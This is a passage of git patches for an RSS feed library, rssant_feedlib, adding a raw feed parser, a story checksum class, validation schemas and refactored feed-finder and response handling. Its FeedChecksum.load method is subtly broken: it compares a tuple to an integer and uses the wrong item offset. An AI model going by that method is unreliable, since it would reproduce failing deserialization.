link.startswith('http'): + # 有些link属性不是URL,用author_detail的href代替 + # 例如:'http://www.cnblogs.com/grenet/' + author_detail = feed.feed['author_detail'] + if author_detail: + link = author_detail['href'] + return link + + def _get_feed_title(self, feed: feedparser.FeedParserDict) -> str: + return feed.feed["title"] or \ + feed.feed["subtitle"] or \ + feed.feed["description"] + + def _get_author_info(self, item: dict) -> dict: + detail = item.get('author_detail') + name = item.get('author') + url = avatar = None + if detail: + name = detail.get('name') or name + url = detail.get('href') + return dict(author_name=name, author_url=url, author_avatar_url=avatar) + + def _get_story_image_url(self, item) -> str: + if item.get('enclosures'): + for e in item['enclosures']: + mime_type = e.get('type') + url = e.get('href') + if url and mime_type and 'image' in mime_type: + return url + return None + + def _get_story_content(self, item) -> str: + content = '' + if item["content"]: + # both content and summary will in content list, peek the longest + for x in item["content"]: + value = x["value"] + if value and len(value) > len(content): + content = value + if not content: + content = item["description"] + if not content: + content = item["summary"] + return content + + def _extract_story(self, item): + story = {} + story['content'] = self._get_story_content(item) + story['summary'] = item["summary"] + url = item["link"] + title = item["title"] + unique_id = item['id'] or url or title + story['ident'] = unique_id + story['url'] = url + story['title'] = title + story['image_url'] = self._get_story_image_url(item) + story['dt_published'] = item["published_parsed"] + story['dt_updated'] = item["updated_parsed"] + story.update(self._get_author_info(item)) + return story + + def _get_json_feed_author(self, author): + name = url = avatar = None + if author: + name = author.name + url = author.url + avatar = author.avatar + return dict(author_name=name, author_url=url, author_avatar_url=avatar) + + def _load_json(self, response: FeedResponse) -> dict: + try: + text = response.content.decode(response.encoding) + except UnicodeDecodeError as ex: + raise FeedParserError("Unicode decode error: {}".format(ex)) from ex + try: + data = json.loads(text) + except json.JSONDecodeError as ex: + raise FeedParserError("JSON parse error: {}".format(ex)) from ex + return data + + def _parse_json_feed(self, response: FeedResponse) -> RawFeedResult: + data = self._load_json(response) + if not isinstance(data, dict): + raise FeedParserError("JSON feed data should be dict") + try: + feed: atoma.JSONFeed = atoma.parse_json_feed(data) + except atoma.FeedParseError as ex: + raise FeedParserError(str(ex)) from ex + feed_info = dict( + version=feed.version, + title=feed.title, + url=response.url, + home_url=feed.home_page_url, + description=feed.description, + icon_url=feed.icon or feed.favicon, + **self._get_json_feed_author(feed.author), + ) + storys = [] + item: atoma.JSONFeedItem + for item in feed.items or []: + ident = item.id_ or item.url or item.title + content = item.content_html or item.content_text + story = dict( + ident=ident, + url=item.url, + content=content, + title=item.title, + summary=item.summary, + image_url=item.image or item.banner_image, + dt_published=item.date_published, + dt_updated=item.date_modified, + **self._get_json_feed_author(item.author), + ) + storys.append(story) + result = RawFeedResult(feed_info, storys) + return result + + def _validate_result(self, result: RawFeedResult) -> RawFeedResult: + feed = validate_raw_feed(result.feed) + storys = [] + for i, s in enumerate(result.storys): + with mark_index(i): + s = validate_raw_story(s) + storys.append(s) + return RawFeedResult(feed, storys, warning=result.warning) + + def _parse(self, response: FeedResponse) -> RawFeedResult: + assert response.ok and response.content + if response.is_json: + return self._parse_json_feed(response) + warning = [] + if response.is_html: + warning.append('feed content type is html') + stream = BytesIO(response.content) + # tell feedparser to use detected encoding + headers = { + 'content-type': f'application/xml;charset={response.encoding}', + } + feed = feedparser.parse(stream, response_headers=headers) + if feed.bozo: + ex = feed.get("bozo_exception") + if ex: + name = type(ex).__module__ + "." + type(ex).__name__ + warning.append(f"{name}: {ex}") + feed_version = feed.get("version") + if not feed_version: + warning.append('feed version unknown') + feed_title = self._get_feed_title(feed) + if not feed_title: + warning.append("feed no title") + has_entries = len(feed.entries) > 0 + if not has_entries: + warning.append("feed not contain any entries") + warning = '; '.join(warning) + # totally bad feed, raise an error + if (not has_entries) and warning: + raise FeedParserError(warning) + # extract feed info + icon_url = feed.feed["icon"] or feed.feed["logo"] + description = feed.feed["description"] or feed.feed["subtitle"] + feed_info = dict( + version=feed_version, + title=feed_title, + url=response.url, + home_url=self._get_feed_home_url(feed), + icon_url=icon_url, + description=description, + **self._get_author_info(feed.feed), + ) + # extract storys info + storys = [] + for item in feed.entries: + storys.append(self._extract_story(item)) + result = RawFeedResult(feed_info, storys, warning=warning) + return result + + def parse(self, response: FeedResponse) -> RawFeedResult: + """初步解析Feed,返回标准化结构""" + result = self._parse(response) + if self._validate: + result = self._validate_result(result) + return result -- Gitee From 3caabf9148ce25b24a8e197a63861639b310e701 Mon Sep 17 00:00:00 2001 From: guyskk Date: Thu, 9 Apr 2020 23:46:05 +0800 Subject: [PATCH 03/26] update raw parser story content summary --- rssant_feedlib/raw_parser.py | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/rssant_feedlib/raw_parser.py b/rssant_feedlib/raw_parser.py index 7681ac1..15937cc 100644 --- a/rssant_feedlib/raw_parser.py +++ b/rssant_feedlib/raw_parser.py @@ -126,8 +126,10 @@ class RawFeedParser: def _extract_story(self, item): story = {} - story['content'] = self._get_story_content(item) - story['summary'] = item["summary"] + content = self._get_story_content(item) + summary = item["summary"] if item["summary"] != content else None + story['content'] = content + story['summary'] = summary url = item["link"] title = item["title"] unique_id = item['id'] or url or title @@ -180,13 +182,14 @@ class RawFeedParser: item: atoma.JSONFeedItem for item in feed.items or []: ident = item.id_ or item.url or item.title - content = item.content_html or item.content_text + content = item.content_html or item.content_text or item.summary + summary = item.summary if item.summary != content else None story = dict( ident=ident, url=item.url, - content=content, title=item.title, - summary=item.summary, + content=content, + summary=summary, image_url=item.image or item.banner_image, dt_published=item.date_published, dt_updated=item.date_modified, -- Gitee From 9dff8476adbe439a9419b85b55e0fdfa53b68ac8 Mon Sep 17 00:00:00 2001 From: guyskk Date: Sat, 11 Apr 2020 00:00:49 +0800 Subject: [PATCH 04/26] add feed_checksum and feed parser --- rssant_feedlib/__init__.py | 18 ++-- rssant_feedlib/feed_checksum.py | 88 +++++++++++++++ rssant_feedlib/parser.py | 184 ++++++++++++++++++++++++++++++++ rssant_feedlib/processor.py | 8 +- rssant_feedlib/raw_parser.py | 103 +++++++++++++----- 5 files changed, 360 insertions(+), 41 deletions(-) create mode 100644 rssant_feedlib/feed_checksum.py create mode 100644 rssant_feedlib/parser.py diff --git a/rssant_feedlib/__init__.py b/rssant_feedlib/__init__.py index bc8575a..0f517a6 100644 --- a/rssant_feedlib/__init__.py +++ b/rssant_feedlib/__init__.py @@ -1,14 +1,8 @@ -from .schema import validate_feed, validate_story, FeedSchema, StorySchema -from .parser import FeedParser +from .parser import FeedParser, FeedResult +from .raw_parser import RawFeedParser, RawFeedResult, FeedParserError +from .feed_checksum import FeedChecksum from .finder import FeedFinder from .reader import FeedReader - -__all__ = ( - 'validate_feed', - 'validate_story', - 'FeedSchema', - 'StorySchema', - 'FeedParser', - 'FeedFinder', - 'FeedReader', -) +from .async_reader import AsyncFeedReader +from .response import FeedResponse, FeedContentType, FeedResponseStatus +from .response_builder import FeedResponseBuilder diff --git a/rssant_feedlib/feed_checksum.py b/rssant_feedlib/feed_checksum.py new file mode 100644 index 0000000..9adc88c --- /dev/null +++ b/rssant_feedlib/feed_checksum.py @@ -0,0 +1,88 @@ +from typing import List, Tuple +from collections import OrderedDict +import itertools +import struct +import hashlib +import brotli + + +class FeedChecksum: + """ + At most: 8 * 2 * 500 = 8KB, about 3KB after brotli compress + +---------+------------------+--------------------+ + | 1 byte | 8 * 2 * N bytes | + +---------+------------------+--------------------+ + | version | story_ident_hash | story_content_hash | + +---------+------------------+--------------------+ + """ + + def __init__(self, items: List[Tuple[bytes, bytes]] = None, version: int = 1): + self.version = version + self._map = OrderedDict() + for key, value in items or []: + self._check_key_value(key, value) + self._map[key] = value + + def __repr__(self): + return '<{} version={} items={}>'.format( + type(self).__name__, self.version, len(self._map)) + + def copy(self) -> "FeedChecksum": + items = list(self._map.items()) + return FeedChecksum(items, version=self.version) + + def _hash(self, value: str) -> bytes: + """8 bytes md5""" + return hashlib.md5(value.encode('utf-8')).digest()[:8] + + def update(self, ident: str, content: str) -> bool: + """ + 由于哈希碰撞,可能会出现: + 1. 有更新但内容哈希值没变,导致误判为无更新 + 2. 多个ID哈希值一样,导致误判为有更新 + """ + key = self._hash(ident) + old_sum = self._map.get(key) + new_sum = self._hash(content) + if (not old_sum) or old_sum != new_sum: + self._map[key] = new_sum + return True + return False + + def _check_key_value(self, key: bytes, value: bytes): + assert len(key) == 8, 'key length must be 8 bytes' + assert len(value) == 8, 'value length must be 8 bytes' + + def dump(self, limit=None) -> bytes: + length = len(self._map) + buffer_n = length if limit is None else min(length, limit) + buffer = bytearray(1 + 16 * buffer_n) + struct.pack_into('>B', buffer, 0, self.version) + offset = 1 + items = self._map.items() + if limit is not None and length > limit: + items = itertools.islice(items, length - limit) + for key, value in items: + self._check_key_value(key, value) + buffer[offset: offset + 8] = key + buffer[offset + 8: offset + 16] = value + offset += 16 + buffer = brotli.compress(buffer) + return buffer + + @classmethod + def load(cls, data: bytes) -> "FeedChecksum": + data = brotli.decompress(data) + version = struct.unpack('>B', data[:1]) + if version != 1: + raise ValueError(f'not support version {version}') + n, remain = divmod(len(data) - 1, 16) + if remain != 0: + raise ValueError(f'unexpect data length {len(data)}') + items = [] + for i in range(n): + offset = 1 + i * 8 + key = data[offset: offset + 8] + value = data[offset + 8: offset + 16] + items.append((key, value)) + return cls(items, version=version) diff --git a/rssant_feedlib/parser.py b/rssant_feedlib/parser.py new file mode 100644 index 0000000..3440f32 --- /dev/null +++ b/rssant_feedlib/parser.py @@ -0,0 +1,184 @@ +import logging +from typing import List + +from validr import Invalid, T, mark_index + +from rssant_common.validator import compiler + +from .raw_parser import RawFeedResult +from .feed_checksum import FeedChecksum +from rssant_api.helper import shorten +from .processor import ( + story_html_to_text, story_html_clean, + story_has_mathjax, process_story_links, normlize_url, validate_url, +) + + +LOG = logging.getLogger(__name__) + + +FeedSchema = T.dict( + version=T.str.maxlen(200), + title=T.str.maxlen(200), + url=T.url, + home_url=T.url.invalid_to_default.optional, + icon_url=T.url.invalid_to_default.optional, + description=T.str.maxlen(300).optional, + author_name=T.str.maxlen(100).optional, + author_url=T.url.invalid_to_default.optional, + author_avatar_url=T.url.invalid_to_default.optional, +) + + +StorySchema = T.dict( + ident=T.str.maxlen(200), + title=T.str.maxlen(200), + url=T.url.optional, + content=T.str.optional, + summary=T.str.maxlen(300).optional, + has_mathjax=T.bool.optional, + image_url=T.url.optional, + dt_published=T.datetime.optional, + dt_updated=T.datetime.optional, + author_name=T.str.maxlen(100).optional, + author_url=T.url.invalid_to_default.optional, + author_avatar_url=T.url.invalid_to_default.optional, +) + + +validate_feed = compiler.compile(FeedSchema) +validate_story = compiler.compile(StorySchema) + + +class FeedResult: + + __slots__ = ('_feed', '_storys', '_checksum') + + def __init__(self, feed, storys, checksum): + self._feed = feed + self._storys = storys + self._checksum = checksum + + def __repr__(self): + return '<{} url={!r} version={!r} title={!r} has {} storys>'.format( + type(self).__name__, + self.feed['url'], + self.feed['version'], + self.feed['title'], + len(self.storys), + ) + + @property + def feed(self) -> FeedSchema: + return self._feed + + @property + def storys(self) -> List[StorySchema]: + return self._storys + + @property + def checksum(self) -> FeedChecksum: + return self._checksum + + +class FeedParser: + def __init__(self, checksum: FeedChecksum = None, validate: bool = True): + if checksum is None: + checksum = FeedChecksum() + else: + checksum = checksum.copy() + self._checksum = checksum + self._validate = validate + + def _parse_feed(self, feed: dict): + url = feed['url'] + title = story_html_to_text(feed['title'])[:200] + home_url = normlize_url(feed['home_url'], base_url=url) + icon_url = normlize_url(feed['icon_url'], base_url=url) + description = story_html_to_text(feed['description'])[:300] + author_name = story_html_to_text(feed['author_name'])[:100] + author_url = normlize_url(feed['author_url'], base_url=url) + author_avatar_url = normlize_url(feed['author_avatar_url'], base_url=url) + return dict( + version=feed['version'], + title=title, + url=url, + home_url=home_url, + icon_url=icon_url, + description=description, + author_name=author_name, + author_url=author_url, + author_avatar_url=author_avatar_url, + ) + + def _process_content(self, content, link): + content = story_html_clean(content) + if len(content) >= 1024 * 1024: + msg = 'too large story link=%r content length=%s, will only save plain text!' + LOG.warning(msg, link, len(content)) + content = story_html_to_text(content) + content = process_story_links(content, link) + return content + + def _parse_story(self, story: dict, feed_url: str): + ident = story['ident'][:200] + title = story_html_to_text(story['title'])[:200] + url = normlize_url(story['url'], base_url=feed_url) + try: + valid_url = validate_url(url) + except Invalid: + valid_url = None + base_url = valid_url or feed_url + image_url = normlize_url(story['image_url'], base_url=base_url) + author_name = story_html_to_text(story['author_name'])[:100] + author_url = normlize_url(story['author_url'], base_url=base_url) + author_avatar_url = normlize_url(story['author_avatar_url'], base_url=base_url) + content = self._process_content(story['content'], link=base_url) + summary = story_html_clean(story['summary']) + summary = shorten(story_html_to_text(summary), width=300) + has_mathjax = story_has_mathjax(content) + return dict( + ident=ident, + title=title, + url=valid_url, + content=content, + summary=summary, + has_mathjax=has_mathjax, + image_url=image_url, + dt_published=story['dt_published'], + dt_updated=story['dt_updated'], + author_name=author_name, + author_url=author_url, + author_avatar_url=author_avatar_url, + ) + + def _validate_result(self, result: FeedResult) -> FeedResult: + feed = validate_feed(result.feed) + storys = [] + for i, s in enumerate(result.storys): + with mark_index(i): + s = validate_story(s) + storys.append(s) + return FeedResult(feed, storys, checksum=result.checksum) + + def _check_update_storys(self, storys: list): + update_storys = [] + for story in storys: + ident = story['ident'] + content = story['content'] or '' + if self._checksum.update(ident, content): + update_storys.append(story) + return update_storys + + def parse(self, raw: RawFeedResult) -> FeedResult: + update_storys = self._check_update_storys(raw.storys) + feed = self._parse_feed(raw.feed) + feed_url = feed['url'] + storys = [] + for story in update_storys: + story = self._parse_story(story, feed_url=feed_url) + storys.append(story) + result = FeedResult(feed, storys, checksum=self._checksum) + if self._validate: + result = self._validate_result(result) + return result diff --git a/rssant_feedlib/processor.py b/rssant_feedlib/processor.py index 6ae4742..fbca4dd 100644 --- a/rssant_feedlib/processor.py +++ b/rssant_feedlib/processor.py @@ -151,7 +151,7 @@ xyz RE_STICK_DOMAIN = re.compile(r'^({})[^\:\/$]'.format('|'.join(TOP_DOMAINS))) -def normlize_url(url: str): +def normlize_url(url: str, base_url: str = None): """ Normalize URL @@ -173,7 +173,11 @@ def normlize_url(url: str): # ignore simple texts if not re.match(r'^[a-zA-Z0-9]+(\.|\:|\/)', url): return url - url = 'http://' + url + if url.startswith('/'): + if base_url: + url = urljoin(base_url, url) + else: + url = 'http://' + url # fix: http://www.example.comhttp://www.example.com/hello if url.count('://') >= 2: matchs = list(re.finditer(r'https?://', url)) diff --git a/rssant_feedlib/raw_parser.py b/rssant_feedlib/raw_parser.py index 15937cc..2230e93 100644 --- a/rssant_feedlib/raw_parser.py +++ b/rssant_feedlib/raw_parser.py @@ -1,18 +1,27 @@ import typing import json +import logging +import datetime +import time from io import BytesIO import atoma import feedparser +from django.utils import timezone +from dateutil.parser import parse as parse_datetime from validr import mark_index, T from rssant_common.validator import compiler from .response import FeedResponse +LOG = logging.getLogger(__name__) + + feedparser.RESOLVE_RELATIVE_URIS = False feedparser.SANITIZE_HTML = False +UTC = datetime.timezone.utc RawFeedSchema = T.dict( version=T.str, @@ -55,6 +64,15 @@ class RawFeedResult: self._storys = storys self._warning = warning + def __repr__(self): + return '<{} url={!r} version={!r} title={!r} has {} storys>'.format( + type(self).__name__, + self.feed['url'], + self.feed['version'], + self.feed['title'], + len(self.storys), + ) + @property def feed(self) -> RawFeedSchema: return self._feed @@ -78,19 +96,19 @@ class RawFeedParser: self._validate = validate def _get_feed_home_url(self, feed: feedparser.FeedParserDict) -> str: - link = feed.feed["link"] + link = feed.feed.get("link") if not link.startswith('http'): # 有些link属性不是URL,用author_detail的href代替 # 例如:'http://www.cnblogs.com/grenet/' - author_detail = feed.feed['author_detail'] + author_detail = feed.feed.get('author_detail') if author_detail: - link = author_detail['href'] + link = author_detail.get('href') return link def _get_feed_title(self, feed: feedparser.FeedParserDict) -> str: - return feed.feed["title"] or \ - feed.feed["subtitle"] or \ - feed.feed["description"] + return feed.feed.get("title") or \ + feed.feed.get("subtitle") or \ + feed.feed.get("description") def _get_author_info(self, item: dict) -> dict: detail = item.get('author_detail') @@ -112,33 +130,55 @@ class RawFeedParser: def _get_story_content(self, item) -> str: content = '' - if item["content"]: + if item.get("content"): # both content and summary will in content list, peek the longest for x in item["content"]: - value = x["value"] + value = x.get("value") if value and len(value) > len(content): content = value if not content: - content = item["description"] + content = item.get("description") if not content: - content = item["summary"] - return content + content = item.get("summary") + return content or '' + + def _normlize_date(self, value) -> datetime.datetime: + if not value: + return None + if isinstance(value, list) and len(value) == 9: + value = tuple(value) + if isinstance(value, tuple): + value = datetime.datetime.fromtimestamp(time.mktime(value), tz=UTC) + elif not isinstance(value, datetime.datetime): + value = parse_datetime(value) + if value is None: + return None + if not timezone.is_aware(value): + value = timezone.make_aware(value, timezone=UTC) + # https://bugs.python.org/issue13305 + if value.year < 1000: + return None + return value def _extract_story(self, item): story = {} content = self._get_story_content(item) - summary = item["summary"] if item["summary"] != content else None - story['content'] = content - story['summary'] = summary - url = item["link"] - title = item["title"] - unique_id = item['id'] or url or title + summary = item.get("summary") + if summary == content: + summary = None + story['content'] = content or '' + story['summary'] = summary or '' + url = item.get("link") + title = item.get("title") + unique_id = item.get('id') or url or title + if not unique_id: + return None story['ident'] = unique_id story['url'] = url story['title'] = title story['image_url'] = self._get_story_image_url(item) - story['dt_published'] = item["published_parsed"] - story['dt_updated'] = item["updated_parsed"] + story['dt_published'] = self._normlize_date(item.get("published_parsed")) + story['dt_updated'] = self._normlize_date(item.get("updated_parsed")) story.update(self._get_author_info(item)) return story @@ -180,9 +220,12 @@ class RawFeedParser: ) storys = [] item: atoma.JSONFeedItem - for item in feed.items or []: + for i, item in enumerate(feed.items or []): ident = item.id_ or item.url or item.title - content = item.content_html or item.content_text or item.summary + if not ident: + LOG.warning("feed %s story#%s no ident, skip it", response.url, i) + continue + content = item.content_html or item.content_text or item.summary or '' summary = item.summary if item.summary != content else None story = dict( ident=ident, @@ -210,11 +253,13 @@ class RawFeedParser: def _parse(self, response: FeedResponse) -> RawFeedResult: assert response.ok and response.content - if response.is_json: + if response.content_type.is_json: return self._parse_json_feed(response) warning = [] - if response.is_html: + if response.content_type.is_html: warning.append('feed content type is html') + if response.content_type.is_other: + warning.append('feed content type is not any feed type') stream = BytesIO(response.content) # tell feedparser to use detected encoding headers = { @@ -240,8 +285,8 @@ class RawFeedParser: if (not has_entries) and warning: raise FeedParserError(warning) # extract feed info - icon_url = feed.feed["icon"] or feed.feed["logo"] - description = feed.feed["description"] or feed.feed["subtitle"] + icon_url = feed.feed.get("icon") or feed.feed.get("logo") + description = feed.feed.get("description") or feed.feed.get("subtitle") feed_info = dict( version=feed_version, title=feed_title, @@ -253,8 +298,12 @@ class RawFeedParser: ) # extract storys info storys = [] - for item in feed.entries: - storys.append(self._extract_story(item)) + for i, item in enumerate(feed.entries): + story = self._extract_story(item) + if not story: + LOG.warning("feed %s story#%s no ident, skip it", response.url, i) + continue + storys.append(story) result = RawFeedResult(feed_info, storys, warning=warning) return result -- Gitee From ff823817cb3be83e7089be85fbb3b2a66e8ce638 Mon Sep 17 00:00:00 2001 From: guyskk Date: Sat, 11 Apr 2020 00:01:54 +0800 Subject: [PATCH 05/26] update feed finder and feed response --- rssant_feedlib/async_reader.py | 2 +- rssant_feedlib/finder.py | 119 ++++++++++++----------------- rssant_feedlib/reader.py | 2 +- rssant_feedlib/response.py | 34 ++++++--- rssant_feedlib/response_builder.py | 33 +++++++- 5 files changed, 104 insertions(+), 86 deletions(-) diff --git a/rssant_feedlib/async_reader.py b/rssant_feedlib/async_reader.py index ca76e6d..94d499a 100644 --- a/rssant_feedlib/async_reader.py +++ b/rssant_feedlib/async_reader.py @@ -237,7 +237,7 @@ class AsyncFeedReader: status = ex.status except (aiohttp.ClientError, aiohttp.InvalidURL): status = FeedResponseStatus.UNKNOWN_ERROR.value - builder = FeedResponseBuilder() + builder = FeedResponseBuilder(use_proxy=use_proxy) builder.url(url) builder.status(status) builder.content(content) diff --git a/rssant_feedlib/finder.py b/rssant_feedlib/finder.py index 9b38900..102e735 100644 --- a/rssant_feedlib/finder.py +++ b/rssant_feedlib/finder.py @@ -1,14 +1,15 @@ import logging -import cgi +from typing import Tuple from urllib.parse import urlsplit, urlunsplit, unquote, urljoin from bs4 import BeautifulSoup -import requests from rssant_common.helper import coerce_url -from .parser import FeedParser -from .reader import FeedReader, FeedResponseStatus +from .raw_parser import RawFeedParser, FeedParserError +from .parser import FeedParser, FeedResult +from .reader import FeedReader +from .response import FeedResponse, FeedResponseStatus LOG = logging.getLogger(__name__) @@ -215,66 +216,43 @@ class FeedFinder: def _read(self, url, current_try, use_proxy=False): self._visited.add(url) - status, res = self.reader.read(url, use_proxy=use_proxy) - is_ok = status == requests.codes.ok - if is_ok and current_try == 0 and res.history: + res = self.reader.read(url, use_proxy=use_proxy) + if res.ok and current_try == 0 and res.history: # 发生了重定向,重新设置start_url url = res.url self._log(f'resolve redirect, set start url to {unquote(url)}') self._set_start_url(url) - if not is_ok: - error_name = FeedResponseStatus.name_of(status) - msg = '{} {} when request {!r}'.format(status, error_name, url) + if not res.ok: + error_name = FeedResponseStatus.name_of(res.status) + msg = '{} {} when request {!r}'.format(res.status, error_name, url) self._log(msg) - return status, res - - def _parse(self, response): - content_type = response.headers.get('content-type', '').lower() - mime_type, __ = cgi.parse_header(content_type) - if mime_type: - msg = f'Content-Type {mime_type} is considered not feed' - for key in CONTENT_TYPE_NOT_FEED: - if key in mime_type: - self._log(msg) - return None - # 取前200个字符,快速判断 - head200 = response.text[:200].strip().lower() - if 'json' in mime_type or head200.startswith('{'): - return self._parse_feed(response) - if '' in head200[:50]: + return res + + def _parse(self, response: FeedResponse) -> FeedResult: + if response.content_type.is_html: msg = "the response content is HTML, not XML feed" self._log(msg) self._parse_html(response) return None - # 判断是HTML还是XMLFeed - p_html = 0 - p_feed = 0 - if 'html' in mime_type: - p_html += 0.5 - if 'xml' in mime_type: - p_feed += 0.5 - for key, score in CONTENT_HTML: - if key in head200: - p_html += score - for key, score in CONTENT_XML_FEED: - if key in head200: - p_feed += score - if (p_html + 1) / (p_feed + 1) > 1.0: - msg = "the response content is considered HTML, not XML feed" + if response.content_type.is_other: + msg = "the response content is not any feed type" self._log(msg) - self._parse_html(response) return None - return self._parse_feed(response) - - def _parse_feed(self, response): - result = FeedParser.parse_response(response, validate=self.validate) - if not result.bozo: - return result - msg = f"{result.bozo_exception}, (...total {result.bozo} errors)" - self._log(msg) + raw_parser = RawFeedParser(validate=False) + try: + result = raw_parser.parse(response) + except FeedParserError as ex: + self._log(str(ex)) + return None + if result.warning: + self._log(f"warning: {result.warning}") + parser = FeedParser() + result = parser.parse(result) + return result def _parse_html(self, response): - links = self._find_links(response.text, response.url) + text = response.content.decode(response.encoding) + links = self._find_links(text, response.url) # 按得分从高到低排序,取前 max_trys 个 links = list(sorted(links, key=lambda x: x.score, reverse=True)) links = links[: self.max_trys] @@ -322,7 +300,8 @@ class FeedFinder: if not (url.startswith('http://') or url.startswith('https://')): url = urljoin(page_url, url) # 处理相对路径 scheme, netloc, path, query, fragment = urlsplit(url) - if (not netloc) or netloc != self.netloc: + base_netloc = '.'.join(netloc.rsplit('.', 2)[-2:]) + if (not netloc) or base_netloc not in self.netloc: return None if not scheme: scheme = self.scheme @@ -389,7 +368,7 @@ class FeedFinder: return self._pop_candidate() return ret - def find(self): + def find(self) -> Tuple[FeedResponse, FeedResult]: use_proxy = False current_try = 0 while current_try < self.max_trys: @@ -399,20 +378,19 @@ class FeedFinder: self._log(f"No more candidate url") break self._log(f"#{current_try} try {url}") - status, res = self._read(url, current_try, use_proxy=use_proxy) + res = self._read(url, current_try, use_proxy=use_proxy) if self.has_rss_proxy and not use_proxy: - if FeedResponseStatus.is_need_proxy(status): + if FeedResponseStatus.is_need_proxy(res.status): current_try += 1 self._log(f'#{current_try} try use proxy') - status, res = self._read(url, current_try, use_proxy=True) - if status in (200, 404): + res = self._read(url, current_try, use_proxy=True) + if res.status in (200, 404): use_proxy = True - shoud_abort = status not in (200, 404) + shoud_abort = res.status not in (200, 404) if shoud_abort: self._log('The url is unable to connect or likely not contain feed, abort!') break - is_ok = status == requests.codes.ok - if not is_ok: + if not res.ok or not res.content: if current_try == 0 and not self._links: msg = f'{url} not contain links, will guess some links from it' self._log(msg) @@ -421,14 +399,13 @@ class FeedFinder: result = self._parse(res) if result is None: continue - entries = result.entries - version = result.version + num_storys = len(result.storys) + version = result.feed['version'] title = result.feed["title"] - msg = f"Feed: version={version}, title={title}, has {len(entries)} entries" + msg = f"Feed: version={version}, title={title}, has {num_storys} storys" self._log(msg) - result.use_proxy = use_proxy - return result - self._log('Not found any valid feed!') + return res, result + self._log('Not found any feed!') return None def __enter__(self): @@ -456,11 +433,11 @@ def _main(): ] for url in urls: print("-" * 80) - finder = FeedFinder(url) - result = finder.find() - if result: - print(f"Got: " + str(result.feed)[:300] + "\n") - finder.close() + with FeedFinder(url) as finder: + found = finder.find() + if found: + response, result = found + print(f"Got: response={response} result={result}") if __name__ == "__main__": diff --git a/rssant_feedlib/reader.py b/rssant_feedlib/reader.py index d8ce100..c400a58 100644 --- a/rssant_feedlib/reader.py +++ b/rssant_feedlib/reader.py @@ -256,7 +256,7 @@ class FeedReader: status = ex.response.status_code else: status = FeedResponseStatus.UNKNOWN_ERROR.value - builder = FeedResponseBuilder() + builder = FeedResponseBuilder(use_proxy=use_proxy) builder.url(url) builder.status(status) builder.content(content) diff --git a/rssant_feedlib/response.py b/rssant_feedlib/response.py index 047d625..bae345f 100644 --- a/rssant_feedlib/response.py +++ b/rssant_feedlib/response.py @@ -66,10 +66,27 @@ class FeedContentType(enum.Enum): HTML = 'HTML' JSON = 'JSON' XML = 'XML' + OTHER = 'OTHER' def __repr__(self): return '<%s.%s>' % (self.__class__.__name__, self.name) + @property + def is_html(self) -> bool: + return self == FeedContentType.HTML + + @property + def is_xml(self) -> bool: + return self == FeedContentType.XML + + @property + def is_json(self) -> bool: + return self == FeedContentType.JSON + + @property + def is_other(self) -> bool: + return self == FeedContentType.OTHER + class FeedResponse: @@ -81,6 +98,7 @@ class FeedResponse: '_etag', '_last_modified', '_content_type', + '_use_proxy', ) def __init__( @@ -92,6 +110,7 @@ class FeedResponse: last_modified: str = None, encoding: str = None, content_type: FeedContentType = None, + use_proxy: bool = None, ): self._content = content self._status = status if status is not None else HTTPStatus.OK.value @@ -99,7 +118,8 @@ class FeedResponse: self._encoding = encoding self._etag = etag self._last_modified = last_modified - self._content_type = content_type + self._content_type = content_type or FeedContentType.OTHER + self._use_proxy = use_proxy def __repr__(self): name = type(self).__name__ @@ -143,13 +163,9 @@ class FeedResponse: return self._encoding @property - def is_html(self) -> bool: - return self._content_type == FeedContentType.HTML - - @property - def is_xml(self) -> bool: - return self._content_type == FeedContentType.XML + def content_type(self) -> FeedContentType: + return self._content_type @property - def is_json(self) -> bool: - return self._content_type == FeedContentType.JSON + def use_proxy(self) -> bool: + return self._use_proxy diff --git a/rssant_feedlib/response_builder.py b/rssant_feedlib/response_builder.py index dba8bdc..604e3a8 100644 --- a/rssant_feedlib/response_builder.py +++ b/rssant_feedlib/response_builder.py @@ -13,6 +13,19 @@ RE_CONTENT_XML = re.compile(rb'(<\?xml|| FeedContentType: """ >>> detect_content_type(b'') @@ -22,6 +35,12 @@ def detect_content_type(content: bytes, content_type_header: str = None) -> Feed >>> detect_content_type(b'') """ + if content_type_header: + mime_type, __ = cgi.parse_header(content_type_header) + if mime_type: + for key in CONTENT_TYPE_NOT_FEED: + if key in mime_type: + return FeedContentType.OTHER head = bytes(content[:500]).strip().lower() if head.startswith(b'{') or head.startswith(b'['): return FeedContentType.JSON @@ -138,13 +157,15 @@ class FeedResponseBuilder: '_status', '_url', '_headers', + '_use_proxy', ) - def __init__(self): + def __init__(self, *, use_proxy=False): self._content = None self._status = None self._url = None self._headers = None + self._use_proxy = use_proxy def content(self, value: bytes): self._content = value @@ -160,8 +181,11 @@ class FeedResponseBuilder: def build(self) -> FeedResponse: content_type = encoding = None - if self._content and self._headers: - content_type_header = self._headers.get('content-type') + if self._content: + if self._headers: + content_type_header = self._headers.get('content-type') + else: + content_type_header = None content_type = detect_content_type(self._content, content_type_header) encoding = detect_content_encoding(self._content, content_type_header) etag = last_modified = None @@ -176,5 +200,6 @@ class FeedResponseBuilder: etag=etag, last_modified=last_modified, encoding=encoding, - content_type=content_type + content_type=content_type, + use_proxy=self._use_proxy, ) -- Gitee From a4c702c44fc47e7db7167d57f11ca40c9e5a2539 Mon Sep 17 00:00:00 2001 From: guyskk Date: Sat, 11 Apr 2020 12:36:53 +0800 Subject: [PATCH 06/26] add FeedResponse mime_type and feed_type --- rssant_feedlib/finder.py | 4 +-- rssant_feedlib/raw_parser.py | 6 ++-- rssant_feedlib/response.py | 21 ++++++++----- rssant_feedlib/response_builder.py | 49 +++++++++++++++--------------- 4 files changed, 43 insertions(+), 37 deletions(-) diff --git a/rssant_feedlib/finder.py b/rssant_feedlib/finder.py index 102e735..5318521 100644 --- a/rssant_feedlib/finder.py +++ b/rssant_feedlib/finder.py @@ -229,12 +229,12 @@ class FeedFinder: return res def _parse(self, response: FeedResponse) -> FeedResult: - if response.content_type.is_html: + if response.feed_type.is_html: msg = "the response content is HTML, not XML feed" self._log(msg) self._parse_html(response) return None - if response.content_type.is_other: + if response.feed_type.is_other: msg = "the response content is not any feed type" self._log(msg) return None diff --git a/rssant_feedlib/raw_parser.py b/rssant_feedlib/raw_parser.py index 2230e93..c46cc89 100644 --- a/rssant_feedlib/raw_parser.py +++ b/rssant_feedlib/raw_parser.py @@ -253,12 +253,12 @@ class RawFeedParser: def _parse(self, response: FeedResponse) -> RawFeedResult: assert response.ok and response.content - if 